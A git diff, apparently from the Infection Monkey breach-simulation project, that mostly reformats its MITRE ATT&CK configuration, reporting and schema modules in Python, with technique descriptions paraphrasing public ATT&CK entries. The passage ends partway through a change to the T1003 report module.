-__author__ = 'VakarisZ'
diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py
index 2b9128edc..711b51bf1 100644
--- a/monkey/monkey_island/cc/services/attack/attack_config.py
+++ b/monkey/monkey_island/cc/services/attack/attack_config.py
@@ -6,8 +6,6 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.attack_schema import SCHEMA
from monkey_island.cc.services.config import ConfigService
-__author__ = "VakarisZ"
-
logger = logging.getLogger(__name__)
@@ -17,7 +15,7 @@ class AttackConfig(object):
@staticmethod
def get_config():
- config = mongo.db.attack.find_one({'name': 'newconfig'})['properties']
+ config = mongo.db.attack.find_one({"name": "newconfig"})["properties"]
return config
@staticmethod
@@ -29,7 +27,7 @@ class AttackConfig(object):
"""
attack_config = AttackConfig.get_config()
for config_key, attack_type in list(attack_config.items()):
- for type_key, technique in list(attack_type['properties'].items()):
+ for type_key, technique in list(attack_type["properties"].items()):
if type_key == technique_id:
return technique
return None
@@ -44,7 +42,7 @@ class AttackConfig(object):
@staticmethod
def update_config(config_json):
- mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
+ mongo.db.attack.update({"name": "newconfig"}, {"$set": config_json}, upsert=True)
return True
@staticmethod
@@ -63,37 +61,44 @@ class AttackConfig(object):
@staticmethod
def set_arrays(attack_techniques, monkey_config, monkey_schema):
"""
- Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix
+ Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to
+ ATT&CK matrix
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
- for key, definition in list(monkey_schema['definitions'].items()):
- for array_field in definition['anyOf']:
+ for key, definition in list(monkey_schema["definitions"].items()):
+ for array_field in definition["anyOf"]:
# Check if current array field has attack_techniques assigned to it
- if 'attack_techniques' in array_field and array_field['attack_techniques']:
- should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
- attack_techniques)
+ if "attack_techniques" in array_field and array_field["attack_techniques"]:
+ should_remove = not AttackConfig.should_enable_field(
+ array_field["attack_techniques"], attack_techniques
+ )
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
- AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
+ AttackConfig.r_alter_array(
+ monkey_config, key, array_field["enum"][0], remove=should_remove
+ )
@staticmethod
def set_booleans(attack_techniques, monkey_config, monkey_schema):
"""
- Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix
+ Sets boolean type fields, like "should use mimikatz?" in monkey's config according to
+ ATT&CK matrix
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
- for key, value in list(monkey_schema['properties'].items()):
+ for key, value in list(monkey_schema["properties"].items()):
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
@staticmethod
def r_set_booleans(path, value, attack_techniques, monkey_config):
"""
- Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them
+ Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to
+ be set and sets them
according to ATT&CK matrix.
- :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
+ :param path: Property names that leads to current value. E.g. ['monkey', 'system_info',
+ 'should_use_mimikatz']
:param value: Value of config property
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
@@ -101,15 +106,20 @@ class AttackConfig(object):
if isinstance(value, dict):
dictionary = {}
# If 'value' is a boolean value that should be set:
- if 'type' in value and value['type'] == 'boolean' \
- and 'attack_techniques' in value and value['attack_techniques']:
- AttackConfig.set_bool_conf_val(path,
- AttackConfig.should_enable_field(value['attack_techniques'],
- attack_techniques),
- monkey_config)
+ if (
+ "type" in value
+ and value["type"] == "boolean"
+ and "attack_techniques" in value
+ and value["attack_techniques"]
+ ):
+ AttackConfig.set_bool_conf_val(
+ path,
+ AttackConfig.should_enable_field(value["attack_techniques"], attack_techniques),
+ monkey_config,
+ )
# If 'value' is dict, we go over each of it's fields to search for booleans
- elif 'properties' in value:
- dictionary = value['properties']
+ elif "properties" in value:
+ dictionary = value["properties"]
else:
dictionary = value
for key, item in list(dictionary.items()):
@@ -122,11 +132,12 @@ class AttackConfig(object):
def set_bool_conf_val(path, val, monkey_config):
"""
Changes monkey's configuration by setting one of its boolean fields value
- :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz']
+ :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info',
+ 'should_use_mimikatz']
:param val: Boolean
:param monkey_config: Monkey's configuration
"""
- util.set(monkey_config, '/'.join(path), val)
+ util.set(monkey_config, "/".join(path), val)
@staticmethod
def should_enable_field(field_techniques, users_techniques):
@@ -141,7 +152,9 @@ class AttackConfig(object):
if not users_techniques[technique]:
return False
except KeyError:
- logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
+ logger.error(
+ "Attack technique %s is defined in schema, but not implemented." % technique
+ )
return True
@staticmethod
@@ -172,8 +185,8 @@ class AttackConfig(object):
attack_config = AttackConfig.get_config()
techniques = {}
for type_name, attack_type in list(attack_config.items()):
- for key, technique in list(attack_type['properties'].items()):
- techniques[key] = technique['value']
+ for key, technique in list(attack_type["properties"].items()):
+ techniques[key] = technique["value"]
return techniques
@staticmethod
@@ -184,6 +197,9 @@ class AttackConfig(object):
attack_config = AttackConfig.get_config()
techniques = {}
for type_name, attack_type in list(attack_config.items()):
- for key, technique in list(attack_type['properties'].items()):
- techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
+ for key, technique in list(attack_type["properties"].items()):
+ techniques[key] = {
+ "selected": technique["value"],
+ "type": SCHEMA["properties"][type_name]["title"],
+ }
return techniques
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 572b469c5..61952571e 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -3,56 +3,90 @@ import logging
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.attack_config import AttackConfig
-from monkey_island.cc.services.attack.technique_reports import (T1003, T1005, T1016, T1018, T1021, T1035, T1041, T1053,
- T1059, T1064, T1065, T1075, T1082, T1086, T1087, T1090,
- T1099, T1105, T1106, T1107, T1110, T1129, T1136, T1145,
- T1146, T1154, T1156, T1158, T1166, T1168, T1188, T1197,
- T1210, T1216, T1222, T1504)
-from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
-
-__author__ = "VakarisZ"
+from monkey_island.cc.services.attack.technique_reports import (
+ T1003,
+ T1005,
+ T1016,
+ T1018,
+ T1021,
+ T1035,
+ T1041,
+ T1053,
+ T1059,
+ T1064,
+ T1065,
+ T1075,
+ T1082,
+ T1086,
+ T1087,
+ T1090,
+ T1099,
+ T1105,
+ T1106,
+ T1107,
+ T1110,
+ T1129,
+ T1136,
+ T1145,
+ T1146,
+ T1154,
+ T1156,
+ T1158,
+ T1166,
+ T1168,
+ T1188,
+ T1197,
+ T1210,
+ T1216,
+ T1222,
+ T1504,
+)
+from monkey_island.cc.services.reporting.report_generation_synchronisation import (
+ safe_generate_attack_report,
+)
LOG = logging.getLogger(__name__)
-TECHNIQUES = {'T1210': T1210.T1210,
- 'T1197': T1197.T1197,
- 'T1110': T1110.T1110,
- 'T1075': T1075.T1075,
- 'T1003': T1003.T1003,
- 'T1059': T1059.T1059,
- 'T1086': T1086.T1086,
- 'T1082': T1082.T1082,
- 'T1145': T1145.T1145,
- 'T1065': T1065.T1065,
- 'T1105': T1105.T1105,
- 'T1035': T1035.T1035,
- 'T1129': T1129.T1129,
- 'T1106': T1106.T1106,
- 'T1107': T1107.T1107,
- 'T1188': T1188.T1188,
- 'T1090': T1090.T1090,
- 'T1041': T1041.T1041,
- 'T1222': T1222.T1222,
- 'T1005': T1005.T1005,
- 'T1018': T1018.T1018,
- 'T1016': T1016.T1016,
- 'T1021': T1021.T1021,
- 'T1064': T1064.T1064,
- 'T1136': T1136.T1136,
- 'T1156': T1156.T1156,
- 'T1504': T1504.T1504,
- 'T1158': T1158.T1158,
- 'T1154': T1154.T1154,
- 'T1166': T1166.T1166,
- 'T1168': T1168.T1168,
- 'T1053': T1053.T1053,
- 'T1099': T1099.T1099,
- 'T1216': T1216.T1216,
- 'T1087': T1087.T1087,
- 'T1146': T1146.T1146
- }
+TECHNIQUES = {
+ "T1210": T1210.T1210,
+ "T1197": T1197.T1197,
+ "T1110": T1110.T1110,
+ "T1075": T1075.T1075,
+ "T1003": T1003.T1003,
+ "T1059": T1059.T1059,
+ "T1086": T1086.T1086,
+ "T1082": T1082.T1082,
+ "T1145": T1145.T1145,
+ "T1065": T1065.T1065,
+ "T1105": T1105.T1105,
+ "T1035": T1035.T1035,
+ "T1129": T1129.T1129,
+ "T1106": T1106.T1106,
+ "T1107": T1107.T1107,
+ "T1188": T1188.T1188,
+ "T1090": T1090.T1090,
+ "T1041": T1041.T1041,
+ "T1222": T1222.T1222,
+ "T1005": T1005.T1005,
+ "T1018": T1018.T1018,
+ "T1016": T1016.T1016,
+ "T1021": T1021.T1021,
+ "T1064": T1064.T1064,
+ "T1136": T1136.T1136,
+ "T1156": T1156.T1156,
+ "T1504": T1504.T1504,
+ "T1158": T1158.T1158,
+ "T1154": T1154.T1154,
+ "T1166": T1166.T1166,
+ "T1168": T1168.T1168,
+ "T1053": T1053.T1053,
+ "T1099": T1099.T1099,
+ "T1216": T1216.T1216,
+ "T1087": T1087.T1087,
+ "T1146": T1146.T1146,
+}
-REPORT_NAME = 'new_report'
+REPORT_NAME = "new_report"
class AttackReportService:
@@ -65,34 +99,24 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
- report = \
- {
- 'techniques': {},
- 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
- 'name': REPORT_NAME
- }
+ report = {
+ "techniques": {},
+ "meta": {"latest_monkey_modifytime": Monkey.get_latest_modifytime()},
+ "name": REPORT_NAME,
+ }
for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()):
try:
technique_report_data = TECHNIQUES[tech_id].get_report_data()
technique_report_data.update(tech_info)
- report['techniques'].update({tech_id: technique_report_data})
+ report["techniques"].update({tech_id: technique_report_data})
except KeyError as e:
- LOG.error("Attack technique does not have it's report component added "
- "to attack report service. %s" % e)
- mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
+ LOG.error(
+ "Attack technique does not have it's report component added "
+ "to attack report service. %s" % e
+ )
+ mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True)
return report
- @staticmethod
- def get_latest_attack_telem_time():
- """
- Gets timestamp of latest attack telem
- :return: timestamp of latest attack telem
- """
- return [
- x['timestamp'] for x in
- mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
- ][0]
-
@staticmethod
def get_latest_report():
"""
@@ -101,8 +125,8 @@ class AttackReportService:
"""
if AttackReportService.is_report_generated():
monkey_modifytime = Monkey.get_latest_modifytime()
- latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
- report_modifytime = latest_report['meta']['latest_monkey_modifytime']
+ latest_report = mongo.db.attack_report.find_one({"name": REPORT_NAME})
+ report_modifytime = latest_report["meta"]["latest_monkey_modifytime"]
if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime:
return latest_report
@@ -121,4 +145,6 @@ class AttackReportService:
def delete_saved_report_if_exists():
delete_result = mongo.db.attack_report.delete_many({})
if mongo.db.attack_report.count_documents({}) != 0:
- raise RuntimeError("Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result)
+ raise RuntimeError(
+ "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result
+ )
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index 714e57135..af27808a9 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -13,8 +13,9 @@ SCHEMA = {
"value": True,
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1059",
- "description": "Adversaries may use command-line interfaces to interact with systems "
- "and execute other software during the course of an operation.",
+ "description": "Adversaries may use command-line interfaces to interact with "
+ "systems "
+ "and execute other software during the course of an operation.",
},
"T1129": {
"title": "Execution through module load",
@@ -22,9 +23,11 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1129",
- "description": "The Windows module loader can be instructed to load DLLs from arbitrary "
- "local paths and arbitrary Universal Naming Convention (UNC) network paths.",
- "depends_on": ["T1078", "T1003"]
+ "description": "The Windows module loader can be instructed to load DLLs from "
+ "arbitrary "
+ "local paths and arbitrary Universal Naming Convention (UNC) "
+ "network paths.",
+ "depends_on": ["T1078", "T1003"],
},
"T1106": {
"title": "Execution through API",
@@ -33,8 +36,8 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1106",
"description": "Adversary tools may directly use the Windows application "
- "programming interface (API) to execute binaries.",
- "depends_on": ["T1210"]
+ "programming interface (API) to execute binaries.",
+ "depends_on": ["T1210"],
},
"T1086": {
"title": "Powershell",
@@ -43,7 +46,7 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1086",
"description": "Adversaries can use PowerShell to perform a number of actions,"
- " including discovery of information and execution of code.",
+ " including discovery of information and execution of code.",
},
"T1064": {
"title": "Scripting",
@@ -52,7 +55,7 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1064",
"description": "Adversaries may use scripts to aid in operations and "
- "perform multiple actions that would otherwise be manual.",
+ "perform multiple actions that would otherwise be manual.",
},
"T1035": {
"title": "Service execution",
@@ -60,9 +63,11 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1035",
- "description": "Adversaries may execute a binary, command, or script via a method "
- "that interacts with Windows services, such as the Service Control Manager.",
- "depends_on": ["T1210"]
+ "description": "Adversaries may execute a binary, command, or script via a "
+ "method "
+ "that interacts with Windows services, such as the Service "
+ "Control Manager.",
+ "depends_on": ["T1210"],
},
"T1154": {
"title": "Trap",
@@ -70,9 +75,10 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1154",
- "description": "Adversaries can use the trap command to register code to be executed "
- "when the shell encounters specific interrupts."
- }
+ "description": "Adversaries can use the trap command to register code to be "
+ "executed "
+ "when the shell encounters specific interrupts.",
+ },
},
},
"persistence": {
@@ -87,9 +93,10 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1156",
"description": "Adversaries may abuse shell scripts by "
- "inserting arbitrary shell commands to gain persistence, which "
- "would be executed every time the user logs in or opens a new shell.",
- "depends_on": ["T1504"]
+ "inserting arbitrary shell commands to gain persistence, which "
+ "would be executed every time the user logs in or opens a new "
+ "shell.",
+ "depends_on": ["T1504"],
},
"T1136": {
"title": "Create account",
@@ -98,7 +105,7 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1136",
"description": "Adversaries with a sufficient level of access "
- "may create a local system, domain, or cloud tenant account."
+ "may create a local system, domain, or cloud tenant account.",
},
"T1158": {
"title": "Hidden files and directories",
@@ -107,8 +114,8 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1158",
"description": "Adversaries can hide files and folders on the system "
- "and evade a typical user or system analysis that does not "
- "incorporate investigation of hidden files."
+ "and evade a typical user or system analysis that does not "
+ "incorporate investigation of hidden files.",
},
"T1168": {
"title": "Local job scheduling",
@@ -117,9 +124,11 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1168/",
"description": "Linux supports multiple methods for creating pre-scheduled and "
- "periodic background jobs. Job scheduling can be used by adversaries to "
- "schedule running malicious code at some specified date and time.",
- "depends_on": ["T1053"]
+ "periodic background jobs. Job scheduling can be used by "
+ "adversaries to "
+ "schedule running malicious code at some specified date and "
+ "time.",
+ "depends_on": ["T1053"],
},
"T1504": {
"title": "PowerShell profile",
@@ -128,9 +137,9 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1504",
"description": "Adversaries may gain persistence and elevate privileges "
- "in certain situations by abusing PowerShell profiles which "
- "are scripts that run when PowerShell starts.",
- "depends_on": ["T1156"]
+ "in certain situations by abusing PowerShell profiles which "
+ "are scripts that run when PowerShell starts.",
+ "depends_on": ["T1156"],
},
"T1053": {
"title": "Scheduled task",
@@ -138,10 +147,13 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1053",
- "description": "Windows utilities can be used to schedule programs or scripts to "
- "be executed at a date and time. An adversary may use task scheduling to "
- "execute programs at system startup or on a scheduled basis for persistence.",
- "depends_on": ["T1168"]
+ "description": "Windows utilities can be used to schedule programs or scripts "
+ "to "
+ "be executed at a date and time. An adversary may use task "
+ "scheduling to "
+ "execute programs at system startup or on a scheduled basis for "
+ "persistence.",
+ "depends_on": ["T1168"],
},
"T1166": {
"title": "Setuid and Setgid",
@@ -149,10 +161,11 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1166",
- "description": "Adversaries can set the setuid or setgid bits to get code running in "
- "a different user’s context."
- }
- }
+ "description": "Adversaries can set the setuid or setgid bits to get code "
+ "running in "
+ "a different user’s context.",
+ },
+ },
},
"defence_evasion": {
"title": "Defence evasion",
@@ -166,7 +179,7 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1197",
"description": "Adversaries may abuse BITS to download, execute, "
- "and even clean up after running malicious code."
+ "and even clean up after running malicious code.",
},
"T1146": {
"title": "Clear command history",
@@ -175,7 +188,7 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1146",
"description": "Adversaries may clear/disable command history of a compromised "
- "account to conceal the actions undertaken during an intrusion."
+ "account to conceal the actions undertaken during an intrusion.",
},
"T1107": {
"title": "File Deletion",
@@ -184,8 +197,8 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1107",
"description": "Adversaries may remove files over the course of an intrusion "
- "to keep their footprint low or remove them at the end as part "
- "of the post-intrusion cleanup process."
+ "to keep their footprint low or remove them at the end as part "
+ "of the post-intrusion cleanup process.",
},
"T1222": {
"title": "File permissions modification",
@@ -193,7 +206,8 @@ SCHEMA = {
"value": True,
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1222",
- "description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
+ "description": "Adversaries may modify file permissions/attributes to evade "
+ "intended DACLs.",
},
"T1099": {
"title": "Timestomping",
@@ -201,8 +215,10 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1099",
- "description": "Adversaries may modify file time attributes to hide new/changes to existing "
- "files to avoid attention from forensic investigators or file analysis tools."
+ "description": "Adversaries may modify file time attributes to hide "
+ "new/changes to existing "
+ "files to avoid attention from forensic investigators or file "
+ "analysis tools.",
},
"T1216": {
"title": "Signed script proxy execution",
@@ -210,10 +226,11 @@ SCHEMA = {
"value": False,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1216",
- "description": "Adversaries may use scripts signed with trusted certificates to "
- "proxy execution of malicious files on Windows systems."
- }
- }
+ "description": "Adversaries may use scripts signed with "
+ "trusted certificates to "
+ "proxy execution of malicious files on Windows systems.",
+ },
+ },
},
"credential_access": {
"title": "Credential access",
@@ -226,9 +243,11 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1110",
- "description": "Adversaries may use brute force techniques to attempt access to accounts "
- "when passwords are unknown or when password hashes are obtained.",
- "depends_on": ["T1210", "T1021"]
+ "description": "Adversaries may use brute force techniques to attempt access "
+ "to accounts "
+ "when passwords are unknown or when password hashes are "
+ "obtained.",
+ "depends_on": ["T1210", "T1021"],
},
"T1003": {
"title": "Credential dumping",
@@ -236,12 +255,15 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1003",
- "description": "Mapped with T1078 Valid Accounts because both techniques require"
- " same credential harvesting modules. "
- "Credential dumping is the process of obtaining account login and password "
- "information, normally in the form of a hash or a clear text password, "
- "from the operating system and software.",
- "depends_on": ["T1078"]
+ "description": "Mapped with T1078 Valid Accounts because "
+ "both techniques require"
+ " same credential harvesting modules. "
+ "Credential dumping is the process of obtaining account login "
+ "and password "
+ "information, normally in the form of a hash or a clear text "
+ "password, "
+ "from the operating system and software.",
+ "depends_on": ["T1078"],
},
"T1145": {
"title": "Private keys",
@@ -249,12 +271,14 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1145",
- "description": "Adversaries may gather private keys from compromised systems for use in "
- "authenticating to Remote Services like SSH or for use in decrypting "
- "other collected files such as email.",
- "depends_on": ["T1110", "T1210"]
- }
- }
+ "description": "Adversaries may gather private keys from compromised systems "
+ "for use in "
+ "authenticating to Remote Services like SSH or for use in "
+ "decrypting "
+ "other collected files such as email.",
+ "depends_on": ["T1110", "T1210"],
+ },
+ },
},
"discovery": {
"title": "Discovery",
@@ -267,9 +291,11 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1087",
- "description": "Adversaries may attempt to get a listing of accounts on a system or "
- "within an environment. This information can help adversaries determine which "
- "accounts exist to aid in follow-on behavior."
+ "description": "Adversaries may attempt to get a listing of accounts on a "
+ "system or "
+ "within an environment. This information can help adversaries "
+ "determine which "
+ "accounts exist to aid in follow-on behavior.",
},
"T1018": {
"title": "Remote System Discovery",
@@ -277,8 +303,10 @@ SCHEMA = {
"value": True,
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1018",
- "description": "Adversaries will likely attempt to get a listing of other systems by IP address, "
- "hostname, or other logical identifier on a network for lateral movement."
+ "description": "Adversaries will likely attempt to get a listing of other "
+ "systems by IP address, "
+ "hostname, or other logical identifier on a network for lateral"
+ " movement.",
},
"T1082": {
"title": "System information discovery",
@@ -288,8 +316,9 @@ SCHEMA = {
"link": "https://attack.mitre.org/techniques/T1082",
"depends_on": ["T1016", "T1005"],
"description": "An adversary may attempt to get detailed information about the "
- "operating system and hardware, including version, patches, hotfixes, "
- "service packs, and architecture."
+ "operating system and hardware, including version, patches, "
+ "hotfixes, "
+ "service packs, and architecture.",
},
"T1016": {
"title": "System network configuration discovery",
@@ -298,11 +327,13 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1016",
"depends_on": ["T1005", "T1082"],
- "description": "Adversaries will likely look for details about the network configuration "
- "and settings of systems they access or through information discovery"
- " of remote systems."
- }
- }
+ "description": "Adversaries will likely look for details about the network "
+ "configuration "
+ "and settings of systems they access or through information "
+ "discovery"
+ " of remote systems.",
+ },
+ },
},
"lateral_movement": {
"title": "Lateral movement",
@@ -315,9 +346,12 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1210",
- "description": "Exploitation of a software vulnerability occurs when an adversary "
- "takes advantage of a programming error in a program, service, or within the "
- "operating system software or kernel itself to execute adversary-controlled code."
+ "description": "Exploitation of a software vulnerability occurs when an "
+ "adversary "
+ "takes advantage of a programming error in a program, service, "
+ "or within the "
+ "operating system software or kernel itself to execute "
+ "adversary-controlled code.",
},
"T1075": {
"title": "Pass the hash",
@@ -325,8 +359,9 @@ SCHEMA = {
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1075",
- "description": "Pass the hash (PtH) is a method of authenticating as a user without "
- "having access to the user's cleartext password."
+ "description": "Pass the hash (PtH) is a method of authenticating as a user "
+ "without "
+ "having access to the user's cleartext password.",
},
"T1105": {
"title": "Remote file copy",
@@ -335,7 +370,7 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1105",
"description": "Files may be copied from one system to another to stage "
- "adversary tools or other files over the course of an operation."
+ "adversary tools or other files over the course of an operation.",
},
"T1021": {
"title": "Remote services",
@@ -345,9 +380,9 @@ SCHEMA = {
"link": "https://attack.mitre.org/techniques/T1021",
"depends_on": ["T1110"],
"description": "An adversary may use Valid Accounts to log into a service"
- " specifically designed to accept remote connections."
- }
- }
+ " specifically designed to accept remote connections.",
+ },
+ },
},
"collection": {
"title": "Collection",
@@ -361,10 +396,12 @@ SCHEMA = {
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1005",
"depends_on": ["T1016", "T1082"],
- "description": "Sensitive data can be collected from local system sources, such as the file system "
- "or databases of information residing on the system prior to Exfiltration."
+ "description": "Sensitive data can be collected from local system sources, "
+ "such as the file system "
+ "or databases of information residing on the system prior to "
+ "Exfiltration.",
}
- }
+ },
},
"command_and_control": {
"title": "Command and Control",
@@ -377,8 +414,9 @@ SCHEMA = {
"value": True,
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1090",
- "description": "A connection proxy is used to direct network traffic between systems "
- "or act as an intermediary for network communications."
+ "description": "A connection proxy is used to direct network traffic between "
+ "systems "
+ "or act as an intermediary for network communications.",
},
"T1065": {
"title": "Uncommonly used port",
@@ -387,7 +425,8 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1065",
"description": "Adversaries may conduct C2 communications over a non-standard "
- "port to bypass proxies and firewalls that have been improperly configured."
+ "port to bypass proxies and firewalls that have been improperly "
+ "configured.",
},
"T1188": {
"title": "Multi-hop proxy",
@@ -396,9 +435,9 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1188",
"description": "To disguise the source of malicious traffic, "
- "adversaries may chain together multiple proxies."
- }
- }
+ "adversaries may chain together multiple proxies.",
+ },
+ },
},
"exfiltration": {
"title": "Exfiltration",
@@ -411,9 +450,10 @@ SCHEMA = {
"value": True,
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1041",
- "description": "Data exfiltration is performed over the Command and Control channel."
+ "description": "Data exfiltration is performed over the Command and Control "
+ "channel.",
}
- }
- }
- }
+ },
+ },
+ },
}
diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py
index 25970ad66..596f4d498 100644
--- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py
+++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py
@@ -1,46 +1,52 @@
+import os
from typing import Dict, List
from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter
+from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
+
class MitreApiInterface:
-
- ATTACK_DATA_PATH = 'monkey_island/cc/services/attack/attack_data/enterprise-attack'
+ ATTACK_DATA_PATH = os.path.join(
+ MONKEY_ISLAND_ABS_PATH, "cc", "services", "attack", "attack_data", "enterprise-attack"
+ )
@staticmethod
def get_all_mitigations() -> Dict[str, CourseOfAction]:
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
- mitigation_filter = [Filter('type', '=', 'course-of-action')]
+ mitigation_filter = [Filter("type", "=", "course-of-action")]
all_mitigations = file_system.query(mitigation_filter)
- all_mitigations = {mitigation['id']: mitigation for mitigation in all_mitigations}
+ all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations}
return all_mitigations
@staticmethod
def get_all_attack_techniques() -> Dict[str, AttackPattern]:
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
- technique_filter = [Filter('type', '=', 'attack-pattern')]
+ technique_filter = [Filter("type", "=", "attack-pattern")]
all_techniques = file_system.query(technique_filter)
- all_techniques = {technique['id']: technique for technique in all_techniques}
+ all_techniques = {technique["id"]: technique for technique in all_techniques}
return all_techniques
@staticmethod
def get_technique_and_mitigation_relationships() -> List[CourseOfAction]:
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
- technique_filter = [Filter('type', '=', 'relationship'),
- Filter('relationship_type', '=', 'mitigates')]
+ technique_filter = [
+ Filter("type", "=", "relationship"),
+ Filter("relationship_type", "=", "mitigates"),
+ ]
all_techniques = file_system.query(technique_filter)
return all_techniques
@staticmethod
def get_stix2_external_reference_id(stix2_data) -> str:
- for reference in stix2_data['external_references']:
- if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
- return reference['external_id']
- return ''
+ for reference in stix2_data["external_references"]:
+ if reference["source_name"] == "mitre-attack" and "external_id" in reference:
+ return reference["external_id"]
+ return ""
@staticmethod
def get_stix2_external_reference_url(stix2_data) -> str:
- for reference in stix2_data['external_references']:
- if 'url' in reference:
- return reference['url']
- return ''
+ for reference in stix2_data["external_references"]:
+ if "url" in reference:
+ return reference["url"]
+ return ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index 399be0992..d79aa7575 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -3,23 +3,34 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.services.reporting.report import ReportService
-__author__ = "VakarisZ"
-
class T1003(AttackTechnique):
tech_id = "T1003"
- unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
+ unscanned_msg = (
+ "Monkey tried to obtain credentials from systems in the network but didn't "
